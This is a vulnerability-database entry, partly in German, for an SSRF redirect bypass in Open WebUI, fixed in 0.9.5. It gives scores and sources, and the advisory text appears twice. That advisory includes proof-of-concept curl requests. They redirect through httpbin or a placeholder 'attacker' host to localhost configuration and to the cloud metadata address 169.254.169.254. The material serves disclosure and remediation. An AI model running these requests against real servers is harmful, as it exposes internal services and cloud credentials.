CVE-2026-45401

highPriorität · verfolgen · 10EPSS 0.003 · 23. PerzentilExploit · PoCEURUUS
grimoire priorityP1 · Urgent
Exploitable?
Public exploit
1 exploit · PoC
Likely / severe?
0.30% (23rd) EPSS
CVSS 8.5 · high
Is it mine?
4 products
Prüfe deine Angriffsfläche
Who says so?
5 sources
cnnvd · enisa_euvd · fstec_bdu · osv

EPSS · bewertet 2026-10-27

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, the validate_url() function in backend/open_webui/retrieval/web/utils.py only validates the initial URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an image_url content part, and any other route that calls these helpers. This vulnerability is fixed in 0.9.5.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

8.5
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.18.5highAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:Nsecondary · FSTEC (BDU) RU
v3.18.5highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:Nsecondary · ENISA EU
v3.18.5highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:Nsecondary · security-advisories@github.comAusnutzbarkeit 3.1 · Auswirkung 4.7
v3.18.5highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:Nsecondary · OSV
v3.18highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N/E:Psecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

Exploits (1)

Öffentlicher Proof-of-Concept- und Exploit-Code.

05

betroffene Produkte (4)

Betroffene Produkte und Versionsbereiche.

06

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-rh5x-h6pp-cjj6Open WebUI has a SSRF Bypass via HTTP Redirect Following in Web-Fetch and Image-Load Endpoints (not addressed by CVE-2025-65958)2026-05-14ghsa · osvUS

    # Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints ## Summary The `validate_url()` function in `backend/open_webui/retrieval/web/utils.py` only validates the *initial* URL submitted by the caller. The HTTP clients used downstream (sync `requests`, async `aiohttp`, langchain's `WebBaseLoader`) follow HTTP 3xx redirects by default and do **not** re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. `127.0.0.1`, `169.254.169.254`, RFC1918) and read the internal response body via the `/api/v1/retrieval/process/web` endpoint, the `/api/v1/images/...` endpoints, the `/api/chat/completions` endpoint with an `image_url` content part, and any other route that calls these helpers. ## Affected code paths The bypass exists across multiple call sites; each independently follows redirects without re-validation. ### Path 1 — sync `_scrape` via `SafeWebBaseLoader` `backend/open_webui/retrieval/web/utils.py` — `SafeWebBaseLoader` inherits from `langchain_community.document_loaders.WebBaseLoader`. The parent's `_scrape()` calls `self.session.get(url, **self.requests_kwargs)`. `requests_kwargs` only sets `timeout`; `allow_redirects=False` is **not** passed, so `requests.Session.get()` follows redirects with the default `allow_redirects=True`. `validate_url()` is invoked once on the original URL only. ### Path 2 — async `_fetch` (aiohttp) `backend/open_webui/retrieval/web/utils.py` — `_fetch()` previously inherited the aiohttp default `allow_redirects=True`. As of HEAD this path is fixed (`allow_redirects=False`). Listed for completeness. ### Path 3 — `get_content_from_url` (sync `requests.get`) `backend/open_webui/retrieval/utils.py` — `response = requests.get(url, stream=True, timeout=30)`. No `allow_redirects=False`. Reached via `/api/v1/retrieval/process/web` (file ingestion) and other routers that resolve external URLs. ### Path 4 — `load_url_image` (image edit) `backend/open_webui/routers/images.py` — image-URL fetching helper used by the image-edit endpoint. Same pattern: `validate_url()` checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via `/api/v1/images/edit`. ### Path 5 — `get_image_base64_from_url` (chat-completion image inlining) `backend/open_webui/utils/files.py` — `get_image_base64_from_url()` is invoked from `convert_url_images_to_base64()` in `backend/open_webui/utils/middleware.py` on every `/api/chat/completions` request whose message content includes an `image_url` part. The shared aiohttp session pool (`backend/open_webui/utils/session_pool.py`) does not override the aiohttp default `allow_redirects=True`, and the call site itself does not pass `allow_redirects=False`. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag — any authenticated user can trigger it from a normal chat message. ## Proof of concept Authenticated low-privilege user; default config, no admin or special permissions required. ```bash curl -X POST https://<target>/api/v1/retrieval/process/web \ -H "Authorization: Bearer <any_user_token>" \ -H "Content-Type: application/json" \ -d '{"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status_code=302"}' ``` Response body contains the internal `/api/config` payload in `file.data.content`. Replace the redirect target with `http://169.254.169.254/latest/meta-data/` for cloud metadata, or any internal hostname reachable from the server. For the chat-completion path (Path 5), the same redirect is followed when an `image_url` content part points to an attacker-controlled redirector: ```bash curl -X POST https://<target>/api/chat/completions \ -H "Authorization: Bearer <any_user_token>" \ -H "Content-Type: application/json" \ -d '{"model":"any","messages":[{"role":"user","content":[{"type":"text","text":"x"},{"type":"image_url","image_url":{"url":"http://attacker/redirect-to-imdsv1"}}]}]}' ``` ## Impact Any authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process — cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks. ## Recommended fix For every call site that follows redirects, set `allow_redirects=False` on the underlying HTTP client and add a per-hop validation loop using `validate_url()` on each `Location:` header. ## Credits Per the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered. - **tenbbughunters** — first to identify SafeWebBaseLoader sync `_scrape` (Path 1) - **YLChen-007** — first to identify `load_url_image` (Path 4) - **tempcollab** — first to identify aiohttp `_fetch` (Path 2) - **sneaXOR** — first to identify `get_content_from_url` (Path 3) - **nayakchinmohan** — first to identify `get_image_base64_from_url` in chat-completion middleware (Path 5)

  • PYSEC-2026-2755Open WebUI has a SSRF Bypass via HTTP Redirect Following in Web-Fetch and Image-Load Endpoints (not addressed by CVE-2025-65958)2026-07-13vendor · osvUS

    # Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints ## Summary The `validate_url()` function in `backend/open_webui/retrieval/web/utils.py` only validates the *initial* URL submitted by the caller. The HTTP clients used downstream (sync `requests`, async `aiohttp`, langchain's `WebBaseLoader`) follow HTTP 3xx redirects by default and do **not** re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. `127.0.0.1`, `169.254.169.254`, RFC1918) and read the internal response body via the `/api/v1/retrieval/process/web` endpoint, the `/api/v1/images/...` endpoints, the `/api/chat/completions` endpoint with an `image_url` content part, and any other route that calls these helpers. ## Affected code paths The bypass exists across multiple call sites; each independently follows redirects without re-validation. ### Path 1 — sync `_scrape` via `SafeWebBaseLoader` `backend/open_webui/retrieval/web/utils.py` — `SafeWebBaseLoader` inherits from `langchain_community.document_loaders.WebBaseLoader`. The parent's `_scrape()` calls `self.session.get(url, **self.requests_kwargs)`. `requests_kwargs` only sets `timeout`; `allow_redirects=False` is **not** passed, so `requests.Session.get()` follows redirects with the default `allow_redirects=True`. `validate_url()` is invoked once on the original URL only. ### Path 2 — async `_fetch` (aiohttp) `backend/open_webui/retrieval/web/utils.py` — `_fetch()` previously inherited the aiohttp default `allow_redirects=True`. As of HEAD this path is fixed (`allow_redirects=False`). Listed for completeness. ### Path 3 — `get_content_from_url` (sync `requests.get`) `backend/open_webui/retrieval/utils.py` — `response = requests.get(url, stream=True, timeout=30)`. No `allow_redirects=False`. Reached via `/api/v1/retrieval/process/web` (file ingestion) and other routers that resolve external URLs. ### Path 4 — `load_url_image` (image edit) `backend/open_webui/routers/images.py` — image-URL fetching helper used by the image-edit endpoint. Same pattern: `validate_url()` checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via `/api/v1/images/edit`. ### Path 5 — `get_image_base64_from_url` (chat-completion image inlining) `backend/open_webui/utils/files.py` — `get_image_base64_from_url()` is invoked from `convert_url_images_to_base64()` in `backend/open_webui/utils/middleware.py` on every `/api/chat/completions` request whose message content includes an `image_url` part. The shared aiohttp session pool (`backend/open_webui/utils/session_pool.py`) does not override the aiohttp default `allow_redirects=True`, and the call site itself does not pass `allow_redirects=False`. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag — any authenticated user can trigger it from a normal chat message. ## Proof of concept Authenticated low-privilege user; default config, no admin or special permissions required. ```bash curl -X POST https://<target>/api/v1/retrieval/process/web \ -H "Authorization: Bearer <any_user_token>" \ -H "Content-Type: application/json" \ -d '{"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status_code=302"}' ``` Response body contains the internal `/api/config` payload in `file.data.content`. Replace the redirect target with `http://169.254.169.254/latest/meta-data/` for cloud metadata, or any internal hostname reachable from the server. For the chat-completion path (Path 5), the same redirect is followed when an `image_url` content part points to an attacker-controlled redirector: ```bash curl -X POST https://<target>/api/chat/completions \ -H "Authorization: Bearer <any_user_token>" \ -H "Content-Type: application/json" \ -d '{"model":"any","messages":[{"role":"user","content":[{"type":"text","text":"x"},{"type":"image_url","image_url":{"url":"http://attacker/redirect-to-imdsv1"}}]}]}' ``` ## Impact Any authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process — cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks. ## Recommended fix For every call site that follows redirects, set `allow_redirects=False` on the underlying HTTP client and add a per-hop validation loop using `validate_url()` on each `Location:` header. ## Credits Per the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered. - **tenbbughunters** — first to identify SafeWebBaseLoader sync `_scrape` (Path 1) - **YLChen-007** — first to identify `load_url_image` (Path 4) - **tempcollab** — first to identify aiohttp `_fetch` (Path 2) - **sneaXOR** — first to identify `get_content_from_url` (Path 3) - **nayakchinmohan** — first to identify `get_image_base64_from_url` in chat-completion middleware (Path 5)

07

auch bekannt als (7)

Weitere Namen und Kennungen dieser Entität.

08

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-05-15geändert 2026-06-17
09

Referenzen (5)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan